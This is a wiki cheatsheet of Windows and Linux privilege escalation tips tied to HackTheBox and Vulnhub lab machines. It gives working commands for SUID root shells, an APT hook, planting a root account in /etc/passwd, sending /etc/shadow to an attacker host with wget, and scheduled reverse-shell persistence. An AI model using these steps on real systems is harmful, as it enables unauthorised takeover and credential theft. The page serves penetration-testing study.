Privilege escalation tips

From Grayhat cheatsheets
Jump to navigationJump to search

Windows privilege escalation tips[edit | edit source]

  • If a Windows LM hash starts with aad3b..., it is a blank password.
  • In metasploit, if we have a meterpreter session on a Windows OS, but we are not system, we can do ps and try to migrate to a process which belongs to the user "nt authority\system". The same should work for linux's root user.
  • Meterpreter's sysinfo gives the target architecture and that of the current meterpreter instance. It is better that both are equal, so if the target is 64 bit, we'd better migrate the session to a process which is also 64 bits. In windows systems, with ps we get the processes, and should look for those which say x64 in the fourth column. Ideally choose one belonging to sys32, it will probably not die. Just run migrate pid from inside meterpreter. With sysinfo, try again to see if now both architectures are equal.



Linux privilege escalation tips[edit | edit source]

  • If there is a cron job which does "apt update", try to create a prolog for that cron. Create a file and put inside APT::Update::Pre-Invoke {“/bin/bash /tmp/file.sh”}

Put it inside /etc/apt/apt.conf.d/ Ippsec does this in HackTheBox's Inception (min 58 aprox)

  • If somehow we can run sudo, we get a root shell with:

sudo /bin/bash

  • Although we may not have access to /etc/sudoers, we may still access something in /etc/sudoers.d
  • Metasploit local_exploit_suggester finds exploits that may be useful for privilege escalation in the machine we have a low privilege shell of. It is important to be running meterpreter on the correct architecture of the host (migrating to a process of the correct architecture).
  • If we find encrypted files on a host, to bring their contents to our kali box it may be useful to encode them in base64 and then decrypt them once again in our box. Otherwise, we may get strange symbols in the reverse shell that mean nothing. With base64 -d we decode base64.
  • Always run ls -la, to look at the privileges of files, maybe we find something unexpected, like the /etc/passwd file has write permissions for our user or something which immediately grants privilege escalation.
  • This is a C program that we can compile and upload to a host, and if we can somehow execute it as root, it will give us a root shell:

int main(void){ setuid(0); setgid(0); system("/bin/bash"); }

We need to set the owner of this file to root, and give it SUID: chown root:root /path/archivo; chmod 4755 /path/archivo

This is used in HackTheBox's ChronOS. However, we need to be careful, if the file is in a disk mounted with the option nosuid, we need to place it in another disk. We can see this with the command .code<mount, and looking if nosuid is mentioned between parenthesis.

  • To get more interactive reverse shells, we can do the python pty trick, and then Ctrl-z to send it to the background, run in our bash:

stty raw -echo

and finally, run fg to bring once more the python pty to the foreground.

  • Don't discard looking for exploits on all the programs that privilege escalation checker scripts detect with SUID, it may be the only option, as in HackTheBox's Haircut.
  • From mysql prompt, to execute a shell (which if mysql belongs to root would give us a root shell), once we have accessed with some user, we do:

\! /bin/bash

  • Pay attention when you copy things to vim or emacs, sometimes a part of the beginning or the end get lost.
  • To look for files modified between two dates:

find / -type f -newermt 2917-08-20 ! -newermt 2017-08-24 -ls 2>/dev/null

May be a way to find files created by a user in certain dates, so if we see a suspicious file, we can try to look for more by the same user. Ippsec uses it in HackTheBox's Shrek. Using this we can detect if apparently legit files have been modified, even if we cannot read them, because they should be files created with the OS but are more recent, or something of the kind.

  • In privilege escalation, always try the easy stuff first to optimize time. In linux, leave kernel exploits for the last things to try (except if there is something obvious like dirty cow). Run linuxprivchecker.py, and look first at sudo -l, SUID files, or crons. Also, look at possible programs from whitin which we may run a shell, like nmap or vim (like in Vulnhub's Mr Robot).


  • If we use a program with SUID which executes system commands, to execute a privileged shell, it may happen that bash fails, it can be protected against SUID, but /bin/sh, /bin/dash or /bin/ash cannot, so try also these. It happens in Vulnhub's Covfefe.
  • To escalate privileges in not so common OS, like freeBSD, don't automatically assume that it uses the same commands as linux, it may not. For example, in FreeBSD, instead of wget, the command fetch is used.


  • If we are attacking a 64 bit system, programs compiled in 32 bits can fail, saying that the file or folder doesn't exist (happens in Vulnhub's Bulldog). If so, we need to compile with the option -m64 in gcc. It may be necessary to install in kali the following:

apt-get install g++-multilib

  • Use schtasks to schedule tasks, like maybe that the victim tries to connect to as with a reverse shell every 10 minutes, in case the connection is lost.
  • If we have a low privilege shell and the victim has phpmyadmin, or some SQL manager, try to access the file where the info of the tables is stored, and look for passwords there. Also, look for related configuration files *conf.
  • Webserver files in a linux system don't necessarily have to be in /var/www. For example, in Vulnhub's Kioptrix 3 they are in /home/www.
  • If we have the possibility to run individual commands as root, the easiest to get a root account is to add a line to /etc/passwd like the following:

echo hacker:2SPL2t8lymXv6:0:0:hacker:/hacker:/bin/bash >> /etc/passwd

This creates an account with username hacker and password hacker (in DES format, which can be generated in bash with mkpasswd -m DES. Then we can ssh to this account if everything went well, or do su -hacker

  • If we can use wget with sudo, we can upload a file to the victim that replaces an existing file. For example, we can copy /etc/passwd, add a new line as explained before, and upload it to the target, so that our new file replaces the original one and the new user is created:

sudo wget 10.10.15.103:8000/passwd -O /etc/passwd

We can download /etc/shadow from the victim with: sudo wget --post-file=/etc/shadow 10.10.15.103:8080 and then upload the modified shadow file. Sometimes it seems that modifying only passwd is not enough and shadow too must be modified.

  • To crack a DES password (old linux /etc/passwd hash format), copy the whole line in passwd in a new file and run john file, john will figure out the format.


  • If we have read permissions but not execution permissions of a file which doesn't belong to our user (therefore we cannot change permissions), we can copy the file to a directory where we do have permissions, and make the copy executable, as in Vulnhub's Rickdiculously Easy.
  • Never forget to do sudo -l at the beginning of any privilege escalation attempt, if we find something there the escalation may be super easy.
  • If a certain machine is a not so common distribution, for example a CentOS system, look for specific privilege escalation exploits for that OS. There may be few, but probably are more appropriate than other more generic ones. Happens in Vulnhub's Kioptrix 2.
  • Script to find kernel exploits:

https://github.com/mzet-/linux-exploit-suggester

  • Dirty cow works in some modern ubuntus, with kernel version 4.4.x, as in Vulnhub's Lampiao. The script of the previous point finds it. In this case, the exploit doesn't work if it is compiled in kali, but it does if it is compiled on the victim, due to some libraries missing in kali.